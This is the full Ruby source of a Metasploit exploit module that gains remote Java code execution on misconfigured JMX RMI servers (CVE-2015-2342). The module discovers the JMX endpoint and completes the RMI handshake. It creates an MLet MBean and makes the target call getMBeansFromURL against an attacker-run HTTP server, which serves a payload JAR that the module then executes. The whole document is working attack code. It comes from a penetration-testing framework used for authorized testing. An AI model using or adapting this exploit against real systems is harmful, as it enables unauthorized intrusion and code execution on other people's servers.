##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::Java::Rmi::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Java JMX Server Insecure Configuration Java Code Execution',
      'Description'    => %q{
        This module takes advantage a Java JMX interface insecure configuration, which would
        allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
        disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
        interfaces with authentication enabled will be vulnerable only if a weak configuration
        is deployed (allowing to use javax.management.loading.MLet, having a security manager
        allowing to load a ClassLoader MBean, etc.).
      },
      'Author'         =>
        [
          'Braden Thomas', # Attack vector discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
          ['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
          ['CVE', '2015-2342']
        ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Payload'        => { 'BadChars' => '', 'DisableNops' => true },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' =>
        {
          'WfsDelay' => 10
        },
      'Targets'        =>
        [
          [ 'Generic (Java Payload)', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2013-05-22'
    ))

    register_options([
      Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
      Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
    ])
    register_common_rmi_ports_and_services
  end

  def post_auth?
    true
  end

  def on_request_uri(cli, request)
    if @jar.nil?
      p = regenerate_payload(cli)
      @jar = p.encoded_jar({random:true})
      paths = [
        ["metasploit", "JMXPayloadMBean.class"],
        ["metasploit", "JMXPayload.class"],
      ]
      @jar.add_files(paths, MetasploitPayloads.path('java'))
    end

    if request.uri =~ /mlet$/
      jar = "#{rand_text_alpha(8 + rand(8))}.jar"

      mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
      mlet << "archive=\"#{jar}\" "
      mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
      mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
      send_response(cli, mlet,
        {
          'Content-Type' => 'application/octet-stream',
          'Pragma'       => 'no-cache'
        })

      print_status("Replied to request for mlet")
    elsif request.uri =~ /\.jar$/i
      send_response(cli, @jar.pack,
        {
          'Content-Type' => 'application/java-archive',
          'Pragma'       => 'no-cache'
        })
      print_status("Replied to request for payload JAR")
    end
  end

  def autofilter
    return true
  end

  def check
    connect

    unless is_rmi?
      return Exploit::CheckCode::Safe
    end

    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      return Exploit::CheckCode::Safe
    end

    connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    unless is_rmi?
      return Exploit::CheckCode::Unknown
    end

    jmx_endpoint = handshake(mbean_server)
    disconnect
    if jmx_endpoint.nil?
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Appears
  end

  def exploit
    vprint_status("Starting service...")
    start_service

    @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
    connect

    print_status("Sending RMI Header...")
    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
    end

    print_status("Discovering the JMXRMI endpoint...")
    mbean_server = discover_endpoint
    disconnect
    if mbean_server.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
    else
      print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
    end

    # First try to connect to the original RHOST, since the mbean address may be inaccessible
    begin
      connect(true, { 'RPORT' => mbean_server[:port] })
    rescue Rex::ConnectionError
      # If that fails, try connecting to the listed address instead
      connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
    end

    unless is_rmi?
      fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
    end

    print_status("Proceeding with handshake...")
    jmx_endpoint = handshake(mbean_server)
    if jmx_endpoint.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
    else
      print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
    end

    print_status("Loading payload...")
    unless load_payload(jmx_endpoint)
      fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
    end

    print_status("Executing payload...")
    send_jmx_invoke(
      object_number: jmx_endpoint[:object_number],
      uid_number: jmx_endpoint[:uid].number,
      uid_time: jmx_endpoint[:uid].time,
      uid_count: jmx_endpoint[:uid].count,
      object: "#{@mlet}:name=jmxpayload,id=1",
      method: 'run'
    )
    disconnect
  end

  def is_rmi?
    send_header
    ack = recv_protocol_ack
    if ack.nil?
      return false
    end

    true
  end

  def discover_endpoint
    rmi_classes_and_interfaces = [
      'javax.management.remote.rmi.RMIConnectionImpl',
      'javax.management.remote.rmi.RMIConnectionImpl_Stub',
      'javax.management.remote.rmi.RMIConnector',
      'javax.management.remote.rmi.RMIConnectorServer',
      'javax.management.remote.rmi.RMIIIOPServerImpl',
      'javax.management.remote.rmi.RMIJRMPServerImpl',
      'javax.management.remote.rmi.RMIServerImpl',
      'javax.management.remote.rmi.RMIServerImpl_Stub',
      'javax.management.remote.rmi.RMIConnection',
      'javax.management.remote.rmi.RMIServer'
    ]
    ref = send_registry_lookup(name: datastore['JMXRMI'])
    return nil if ref.nil?

    unless rmi_classes_and_interfaces.include? ref[:object]
      vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
      return nil
    end

    ref
  end

  def handshake(mbean)
    begin
      opts = {
        object_number: mbean[:object_number],
        uid_number: mbean[:uid].number,
        uid_time: mbean[:uid].time,
        uid_count: mbean[:uid].count
      }

      if datastore['JMX_ROLE']
        username = datastore['JMX_ROLE']
        password = datastore['JMX_PASSWORD']
        opts.merge!(username: username, password: password)
      end

      ref = send_new_client(opts)
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
      return nil
    end

    ref
  end

  def load_payload(conn_stub)
    vprint_status("Getting JMXPayload instance...")

    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: "#{@mlet}:name=jmxpayload,id=1"
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceNotFoundException'
        vprint_warning("JMXPayload instance not found, trying to load")
        return load_payload_from_url(conn_stub)
      else
        vprint_error("getObjectInstance returned unexpected exception #{e.message}")
        return false
      end
    end


    return false if res.nil?

    true
  end

  def load_payload_from_url(conn_stub)
    vprint_status("Creating javax.management.loading.MLet MBean...")

    begin
      res = send_jmx_create_mbean(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'javax.management.loading.MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      case e.message
      when 'javax.management.InstanceAlreadyExistsException'
        vprint_good("javax.management.loading.MLet already exists")
        res = true
      when 'java.lang.SecurityException'
        vprint_error(" The provided user hasn't enough privileges")
        res = nil
      else
        vprint_error("createMBean raised unexpected exception #{e.message}")
        res = nil
      end
    end

    if res.nil?
      vprint_error("The request to createMBean failed")
      return false
    end

    vprint_status("Getting javax.management.loading.MLet instance...")
    begin
      res = send_jmx_get_object_instance(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        name: 'DefaultDomain:type=MLet'
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The request to GetObjectInstance failed")
      return false
    end

    vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")

    begin
      res = send_jmx_invoke(
        object_number: conn_stub[:object_number],
        uid_number: conn_stub[:uid].number,
        uid_time: conn_stub[:uid].time,
        uid_count: conn_stub[:uid].count,
        object: 'DefaultDomain:type=MLet',
        method: 'getMBeansFromURL',
        args: { 'java.lang.String' => "#{get_uri}/mlet" }
      )
    rescue ::Rex::Proto::Rmi::Exception => e
      vprint_error("invoke() returned unexpected exception: #{e.message}")
      return false
    end

    if res.nil?
      vprint_error("The call to getMBeansFromURL failed")
      return false
    end

    true
  end
end
